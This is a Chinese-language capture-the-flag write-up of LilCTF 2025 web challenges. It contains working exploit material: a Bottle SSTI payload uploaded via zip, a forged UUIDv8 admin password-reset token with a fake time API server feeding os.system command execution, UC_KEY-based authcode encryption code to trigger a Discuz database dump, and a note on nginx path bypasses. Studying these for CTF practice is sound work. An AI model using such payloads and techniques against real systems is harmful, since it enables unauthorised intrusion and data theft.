LilCTF2025web(前半部分)

ez_bottle

复制代码
from bottle import route, run, template, post, request, static_file, error
import os
import zipfile
import hashlib
import time
#导入了 Bottle 的核心路由、模板渲染、请求处理、静态文件服务和错误处理装饰器。
#os:文件系统操作(路径、目录、realpath 等)
#zipfile:处理用户上传的 zip 压缩包
#hashlib:生成唯一目录名(防碰撞)
#time:用于生成唯一目录名
# hint: flag in /flag , have a try
#flag 文件在服务器根目录 /flag
UPLOAD_DIR = os.path.join(os.path.dirname(__file__), 'uploads')
os.makedirs(UPLOAD_DIR, exist_ok=True)
#上传文件统一解压到 ./uploads/ 目录下
STATIC_DIR = os.path.join(os.path.dirname(__file__), 'static')
MAX_FILE_SIZE = 1 * 1024 * 1024
#静态文件目录和最大上传大小限制(1MB)
BLACK_DICT = ["{", "}", "os", "eval", "exec", "sock", "<", ">", "bul", "class", "?", ":", "bash", "_", "globals",
              "get", "open"]
#用于后续检测文件内容是否包含危险字符/关键字
#黑名单非常不完善,缺少很多关键绕过字符(如 []~! 等)
#也缺少 .__、[ ] 组合等常见 SSTI 绕过方式
def contains_blacklist(content):
    return any(black in content for black in BLACK_DICT)
#简单字符串包含检测,只要文件内容里出现黑名单中的任意一个字符串,就判定为 hacker。

def is_symlink(zipinfo):
    return (zipinfo.external_attr >> 16) & 0o170000 == 0o120000

#判断 zip 中的文件是否为符号链接(symlink)。
#这是常见的 zip symlink 攻击检测方式。
def is_safe_path(base_dir, target_path):
    return os.path.realpath(target_path).startswith(os.path.realpath(base_dir))
#路径穿越防护:使用 realpath + startswith 判断解压后的文件是否仍在 extract_dir 目录内。
#注意:这个防护在很多情况下是可以绕过的(尤其是结合 symlink 或 zip 特性)。

@route('/')
def index():
    return static_file('index.html', root=STATIC_DIR)
#首页,返回 static/index.html

@route('/static/<filename>')
def server_static(filename):
    return static_file(filename, root=STATIC_DIR)
#静态文件服务

@route('/upload')
def upload_page():
    return static_file('upload.html', root=STATIC_DIR)
#上传页面

@post('/upload')
def upload():
#核心上传处理函数
    zip_file = request.files.get('file')
    if not zip_file or not zip_file.filename.endswith('.zip'):
        return 'Invalid file. Please upload a ZIP file.'
#必须上传 .zip 文件
    if len(zip_file.file.read()) > MAX_FILE_SIZE:
        return 'File size exceeds 1MB. Please upload a smaller ZIP file.'

    zip_file.file.seek(0)

    current_time = str(time.time())
    unique_string = zip_file.filename + current_time
    md5_hash = hashlib.md5(unique_string.encode()).hexdigest()
    extract_dir = os.path.join(UPLOAD_DIR, md5_hash)
    os.makedirs(extract_dir)
#使用 filename + 时间 的 MD5 作为目录名,基本能保证唯一性
    #保存为 upload.zip
#遍历 infolist() 检查:
#不允许 symlink
#不允许路径穿越(../ 等
    zip_path = os.path.join(extract_dir, 'upload.zip')
    zip_file.save(zip_path)

    try:
        with zipfile.ZipFile(zip_path, 'r') as z:
            for file_info in z.infolist():
                if is_symlink(file_info):
                    return 'Symbolic links are not allowed.'

                real_dest_path = os.path.realpath(os.path.join(extract_dir, file_info.filename))
                if not is_safe_path(extract_dir, real_dest_path):
                    return 'Path traversal detected.'

            z.extractall(extract_dir)
    except zipfile.BadZipFile:
        return 'Invalid ZIP file.'

    files = os.listdir(extract_dir)
    files.remove('upload.zip')

    return template("文件列表: {{files}}\n访问: /view/{{md5}}/{{first_file}}",
                    files=", ".join(files), md5=md5_hash, first_file=files[0] if files else "nofile")
#列出解压出的所有文件(除 upload.zip 外)
#提示用户访问 /view/<md5>/<filename> 来查看文件(实际是渲染模板)

@route('/view/<md5>/<filename>')
def view_file(md5, filename):
    file_path = os.path.join(UPLOAD_DIR, md5, filename)
    if not os.path.exists(file_path):
        return "File not found."

    with open(file_path, 'r', encoding='utf-8') as f:
        content = f.read()
#接读取用户上传的文件内容。
    if contains_blacklist(content):
        return "you are hacker!!!nonono!!!"
#黑名单检测 --- 这就是主要防护,但很弱。
    try:
        return template(content)
    except Exception as e:
        return f"Error rendering template: {str(e)}"
#SSTI 核心漏洞:把用户可控的内容直接传给 bottle.template() 渲染。
#Bottle 默认使用 SimpleTemplate,语法类似 {{ }}、% % 等,支持 Python 表达式。

@error(404)
def error404(error):
    return "bbbbbboooottle"


@error(403)
def error403(error):
    return "Forbidden: You don't have permission to access this resource."


if __name__ == '__main__':
    run(host='0.0.0.0', port=5000, debug=False)

进来后就一个页面什么用都没有

直接分析源码

知识点总结

复制代码
Bottle
#是一个用 Python 编写的微型 Web 框架(Micro-framework)
#它的核心特点是极简:整个框架只有一个文件(bottle.py)
#且除了 Python 标准库外没有任何第三方依赖
Symlink
#(符号链接,全称 Symbolic Link)也被称为"软链接"(Soft Link)
#它是一个特殊的文件,其内容包含指向另一个文件或目录的路径
os.path.realpath 和 startswith 
#组合是处理路径安全和静态文件访问的经典模式
SimpleTemplate
#是一个轻量级、快速且易于使用的 Python 模板引擎
#通常与 Bottle Web 框架配合使用。它的设计理念是"语法精简",尽可能贴近原生 Python 代码

这是一个使用 Bottle 框架的 Web 服务,允许用户上传 .zip 文件,服务器会解压到随机目录,然后提供一个 /view// 接口,把解压出来的文件内容当作 Bottle Template(即 Jinja2-like 模板)直接渲染

由于是前端没有给直接的上传入口,所以需要写脚本进行上传内容

复制代码
import requests
import re

BASE_URL = "http://ip:port"

with open('payload.zip', 'rb') as file:
    files = {"file": ('payload.zip', file)}
    res = requests.post(url=f"{BASE_URL}/upload", files=files)

upload_response = res.text
print("Upload Response:", upload_response)

match = re.search(r"/view/([\w-]+)/([\w\-]+)", upload_response)
if not match:
    print("Failed to extract MD5 and filename from response.")
    exit()

md5, filename = match.groups()
print(f"Extracted MD5: {md5}, Filename: {filename}")

view_res = requests.get(f"{BASE_URL}/view/{md5}/{filename}")
print("Response:", view_res.text)

方案一
% import shutil;shutil.copy('/flag', './aaa')
方案二
%import subprocess; subprocess.call(['cp', '/flag', './aaa'])
之后再include读取
% include("aaa")

成功获取flag

Ekko_note

复制代码
# -*- encoding: utf-8 -*-
'''
@File    :   app.py
@Time    :   2066/07/05 19:20:29
@Author  :   Ekko exec inc. 某牛马程序员 
'''
import os
import time
import uuid
import requests

from functools import wraps
from datetime import datetime
from secrets import token_urlsafe
from flask_sqlalchemy import SQLAlchemy
from werkzeug.security import generate_password_hash, check_password_hash
from flask import Flask, render_template, redirect, url_for, request, flash, session

SERVER_START_TIME = time.time()


# 欸我艹这两行代码测试用的忘记删了,欸算了都发布了,我们都在用力地活着,跟我的下班说去吧。
# 反正整个程序没有一个地方用到random库。应该没有什么问题。
import random
random.seed(SERVER_START_TIME)
#这里将 random 库的种子固定为服务器启动时间
#虽然作者注释说没用到 random,但这通常是干扰项或预留的后门线索
#admin_super_strong_password = token_urlsafe() 生成一个随机的高强度密码
#这意味着你无法通过爆破进入 admin 账户
admin_super_strong_password = token_urlsafe()
app = Flask(__name__)
app.config['SECRET_KEY'] = 'your-secret-key-here'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///site.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False

db = SQLAlchemy(app)

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(20), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password = db.Column(db.String(60), nullable=False)
    is_admin = db.Column(db.Boolean, default=False)
    time_api = db.Column(db.String(200), default='https://api.uuni.cn//api/time')
#User 模型:包含 is_admin 权限字段和 time_api 字段
#time_api 默认指向一个外部 URL,这是后续 SSRF(服务端请求伪造)或命令执行的关键

PasswordResetToken 模型:存储找回密码的 token

class PasswordResetToken(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'), nullable=False)
    token = db.Column(db.String(36), unique=True, nullable=False)
    used = db.Column(db.Boolean, default=False)


def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

with app.app_context():
    db.create_all()
    if not User.query.filter_by(username='admin').first():
        admin = User(
            username='admin',
            email='admin@example.com',
            password=generate_password_hash(admin_super_strong_password),
            is_admin=True
        )
        db.session.add(admin)
        db.session.commit()

def login_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        return f(*args, **kwargs)
    return decorated_function

def admin_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if 'user_id' not in session:
            flash('请登录', 'danger')
            return redirect(url_for('login'))
        user = User.query.get(session['user_id'])
        if not user.is_admin:
            flash('你不是admin', 'danger')
            return redirect(url_for('home'))
        return f(*args, **kwargs)
    return decorated_function
#padding 函数:将用户名的前 6 位转换为大端序整数。这是为生成特定 UUID 准备的。
#admin_required 装饰器:检查 session['user_id'] 是否具有管理员权限
def check_time_api():
    user = User.query.get(session['user_id'])
    try:
        response = requests.get(user.time_api)
        data = response.json()
#它会请求用户定义的 time_api。如果攻击者能修改自己的 time_api
#就可以利用服务器发起请求(SSRF)
#它还要求返回的 JSON 中 date 字段的年份必须 $\ge 2066$
        datetime_str = data.get('date')
        if datetime_str:
            print(datetime_str)
            current_time = datetime.fromisoformat(datetime_str)
            return current_time.year >= 2066
    except Exception as e:
        return None
    return None
@app.route('/')
def home():
    return render_template('home.html')

@app.route('/server_info')
@login_required
def server_info():
    return {
        'server_start_time': SERVER_START_TIME,
        'current_time': time.time()
    }
#/server_info:暴露了 SERVER_START_TIME
#如果你需要预测基于时间的伪随机数,这个接口提供了精确的种子值
@app.route('/register', methods=['GET', 'POST'])
def register():
    if request.method == 'POST':
        username = request.form.get('username')
        email = request.form.get('email')
        password = request.form.get('password')
        confirm_password = request.form.get('confirm_password')

        if password != confirm_password:
            flash('密码错误', 'danger')
            return redirect(url_for('register'))

        existing_user = User.query.filter_by(username=username).first()
        if existing_user:
            flash('已经存在这个用户了', 'danger')
            return redirect(url_for('register'))

        existing_email = User.query.filter_by(email=email).first()
        if existing_email:
            flash('这个邮箱已经被注册了', 'danger')
            return redirect(url_for('register'))

        hashed_password = generate_password_hash(password)
        new_user = User(username=username, email=email, password=hashed_password)
        db.session.add(new_user)
        db.session.commit()

        flash('注册成功,请登录', 'success')
        return redirect(url_for('login'))

    return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        user = User.query.filter_by(username=username).first()
        if user and check_password_hash(user.password, password):
            session['user_id'] = user.id
            session['username'] = user.username
            session['is_admin'] = user.is_admin
            flash('登陆成功,欢迎!', 'success')
            return redirect(url_for('dashboard'))
        else:
            flash('用户名或密码错误!', 'danger')
            return redirect(url_for('login'))

    return render_template('login.html')

@app.route('/logout')
@login_required
def logout():
    session.clear()
    flash('成功登出', 'info')
    return redirect(url_for('home'))

@app.route('/dashboard')
@login_required
def dashboard():
    return render_template('dashboard.html')

@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
    if request.method == 'POST':
        email = request.form.get('email')
        user = User.query.filter_by(email=email).first()
        if user:
            # 选哪个UUID版本好呢,好头疼 >_<
            # UUID v8吧,看起来版本比较新
            token = str(uuid.uuid8(a=padding(user.username))) 
            # 可以自定义参数吗原来,那把username放进去吧
#这里使用了自定义参数 a=padding(user.username) 生成 UUID v8
#uuid8 的生成逻辑通常是确定性的(基于传入的参数)。
#因为 padding 只依赖于 username,所以任何人都可以本地计算出 admin 的重置 token
#从而重置管理员密码
            reset_token = PasswordResetToken(user_id=user.id, token=token)
            db.session.add(reset_token)
            db.session.commit()
            # TODO:写一个SMTP服务把token发出去
            flash(f'密码恢复token已经发送,请检查你的邮箱', 'info')
            return redirect(url_for('reset_password'))
        else:
            flash('没有找到该邮箱对应的注册账户', 'danger')
            return redirect(url_for('forgot_password'))

    return render_template('forgot_password.html')

@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
    if request.method == 'POST':
        token = request.form.get('token')
        new_password = request.form.get('new_password')
        confirm_password = request.form.get('confirm_password')

        if new_password != confirm_password:
            flash('密码不匹配', 'danger')
            return redirect(url_for('reset_password'))

        reset_token = PasswordResetToken.query.filter_by(token=token, used=False).first()
        if reset_token:
            user = User.query.get(reset_token.user_id)
            user.password = generate_password_hash(new_password)
            reset_token.used = True
            db.session.commit()
            flash('成功重置密码!请重新登录', 'success')
            return redirect(url_for('login'))
        else:
            flash('无效或过期的token', 'danger')
            return redirect(url_for('reset_password'))

    return render_template('reset_password.html')

@app.route('/execute_command', methods=['GET', 'POST'])
@login_required
def execute_command():
    result = check_time_api()
    if result is None:
        flash("API死了啦,都你害的啦。", "danger")
        return redirect(url_for('dashboard'))

    if not result:
        flash('2066年才完工哈,你可以穿越到2066年看看', 'danger')
        return redirect(url_for('dashboard'))

    if request.method == 'POST':
        command = request.form.get('command')
        os.system(command) # 什么?你说安全?不是,都说了还没完工催什么。
        return redirect(url_for('execute_command'))

    return render_template('execute_command.html')
#准入门槛:必须通过 check_time_api()
#这意味着你需要控制 time_api 返回一个年份 $\ge 2066$ 的 JSON。核心漏洞:os.system(command)
#直接将用户输入的字符串放入系统 shell 执行
#这是最高级别的安全漏洞,可以直接控制服务器
@app.route('/admin/settings', methods=['GET', 'POST'])
@admin_required
def admin_settings():
    user = User.query.get(session['user_id'])
    
    if request.method == 'POST':
        new_api = request.form.get('time_api')
        user.time_api = new_api
        db.session.commit()
        flash('成功更新API!', 'success')
        return redirect(url_for('admin_settings'))
#逻辑矛盾:普通用户无法访问此页面修改 API
#但 execute_command 又要求 API 返回特定值。这暗示了攻击路径
#先通过 UUID 漏洞重置 admin 密码 -> 登录 admin -> 修改 API 绕过时间检查 -> 执行系统命令
    return render_template('admin_settings.html', time_api=user.time_api)

if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0")

#代码总结一下就是:有一个time_api默认值是https://api.uuni.cn//api/time 可以获得现在的时间
#这个web app有一个任意RCE的接口,但是必须要从这个time_api中获取的时间大于2066年才可以
#而存在一个admin账户,他可以设置time_api的值。关于这些思路,主页也给出了引导

首先注册一个用户在/server_info页面可以查看当前时间

复制代码
import random
import uuid
random.seed(1754662952.3222806)
def padding(input_string):
    byte_string = input_string.encode('utf-8')
    if len(byte_string) > 6: byte_string = byte_string[:6]
    padded_byte_string = byte_string.ljust(6, b'\x00')
    padded_int = int.from_bytes(padded_byte_string, byteorder='big')
    return padded_int

print(uuid.uuid8(a=padding('admin')))
 Python 的内置 uuid 模块在 3.14 版本之前并不支持 uuid8

我不想更新python,因为3.14不好用

我就说思路了,这里可以直接伪造admin的token

在登录页面点击忘记密码输入admin的邮箱(题目中有)

再输入伪造的token,修改密码

进入管理员设置,更改时间API

只使用了date字段来判断当前的时间。

在VPS上起一个假的时间API,返回2066年之后时间的datetime字段的json数据。

复制代码
from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class JSONRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/":
            data = {"date": "2099-07-05 00:00:00"}
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(json.dumps(data).encode("utf-8"))

def run(server_class=HTTPServer, handler_class=JSONRequestHandler, port=5051):
    server_address = ("0.0.0.0", port)
    httpd = server_class(server_address, handler_class)
    httpd.serve_forever()

if __name__ == "__main__":
    run()

把API改过去,成功获得任意RCE功能

之后就是弹shell,时盲,whatever。想怎么打就怎么打。这个题到这里就结束了

我曾有一份工作

扫目录可以得到 www.zip

在 www.zip 里面泄露了 UC_KEY,可以使用这个key去调用api的接口

接口的功能需要代码审计,不只有下面这个路由有这个功能

在 api/db/dbbak.php里,可以备份数据库,且备份后的路径是可访问

调用 export 方法即可

code参数的加解密要抄源码里的

复制代码
<?php

define('UC_KEY', 'N8ear1n0q4s646UeZeod130eLdlbqfs1BbRd447eq866gaUdmek7v2D9r9EeS6vb');

function _authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    $ckey_length = 4;

$key = md5($key ? $key : UC_KEY);
$keya = md5(substr($key, 0, 16));
$keyb = md5(substr($key, 16, 16));
$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';

                        $cryptkey = $keya.md5($keya.$keyc);
                        $key_length = strlen($cryptkey);

                        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
                        $string_length = strlen($string);

                        $result = '';
                        $box = range(0, 255);

                        $rndkey = array();
                        for($i = 0; $i <= 255; $i++) {
    $rndkey[$i] = ord($cryptkey[$i % $key_length]);
}

for($j = $i = 0; $i < 256; $i++) {
    $j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}

for($a = $j = $i = 0; $i < $string_length; $i++) {
    $a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}

if($operation == 'DECODE') {
    if(((int)substr($result, 0, 10) == 0 || (int)substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) === substr(md5(substr($result, 26).$keyb), 0, 16)) {
return substr($result, 26);
} else {
    return '';
}
} else {
    return $keyc.str_replace('=', '', base64_encode($result));
}

}

function encode_arr($get) {
    $tmp = '';
foreach($get as $key => $val) {
    $tmp .= '&'.$key.'='.$val;
}
return _authcode($tmp, 'ENCODE', UC_KEY);
}

$get = array('time'=>time(),'method'=>'export');
$res = encode_arr($get);
echo $res;
复制代码
/api/db/dbbak.php?code=21049fuLv9o6afBN22deHH%2B6dyI5Z6aEHUsLaZPWVH1nkTYNXZyOHFIDciz1Kacp%2FHQLiet1huULAgs&apptype=discuzx

最后访问得到的 sql文件,将备份的数据库下载下来,在里面能够找到flag

需要注意的是,dump下来的数据用了hex编码,找flag的时候可以使用flag头去定位

复制代码
0x4c494c4354467b37396161333731302d326238352d343233372d386333352d6662366231346566363830637d
解码结果: LILCTF{79aa3710-2b85-4237-8c35-fb6b14ef680c}

成功获取flag

[WARM UP] 接力!TurboFlash

题目源码:

复制代码
# pylint: disable=missing-module-docstring,missing-function-docstring

import os
from flask import Flask

app = Flask(__name__)


@app.route("/")
def index():
    return "<h1>Hello, CTFer!</h1>"


@app.route("/secret")
def secret():
    return os.getenv("LILCTF_FLAG", "LILCTF{default}")


if __name__ == "__main__":
    app.run("0.0.0.0", 8080, debug=False)

Nginx 会屏蔽 /secret 和 /secret/ 后接任意路径的请求
实际上也会屏蔽 /./secret/, /SeCrEt, /%73ecret 等等你能想到的绕过方式
而 Flask 会在访问到 /secret 路由时返回 flag
我们需要寻找不被 Nginx 认为算是 /secret,但会被 Flask 认为算是 /secret 的路径

https://github.com/dub-flow/path-normalization-bypasses

相关推荐
AI_Claude_code2 小时前
ZLibrary访问困境方案六:自建RSS/Calibre内容同步服务器的完整指南
运维·服务器·网络·爬虫·python·tcp/ip·http
REDcker2 小时前
C++ 包管理工具概览
开发语言·c++
zhangrelay2 小时前
蓝桥云课一分钟-绚丽贪吃蛇-后续-cmake
笔记·学习
百撕可乐2 小时前
WenDoraAi官网NextJS实战04:HTTP 请求封装与SSR
前端·网络·网络协议·react.js·http
世人万千丶2 小时前
Flutter 框架跨平台鸿蒙开发 - AR寻宝探险游戏应用
学习·flutter·游戏·华为·开源·ar·harmonyos
努力努力再努力wz2 小时前
【C++高阶系列】告别内查找局限:基于磁盘 I/O 视角的 B 树深度剖析与 C++ 泛型实现!(附B树实现源码)
java·linux·开发语言·数据结构·c++·b树·算法
承渊政道2 小时前
【优选算法】(实战攻坚BFS之FloodFill、最短路径问题、多源BFS以及解决拓扑排序)
数据结构·c++·笔记·学习·算法·leetcode·宽度优先
漠缠2 小时前
缠论核心公理:走势终完美
学习·程序人生
软件开发技术2 小时前
新版点微同城主题源码34.7+全套插件+小程序前后端 源文件
小程序·php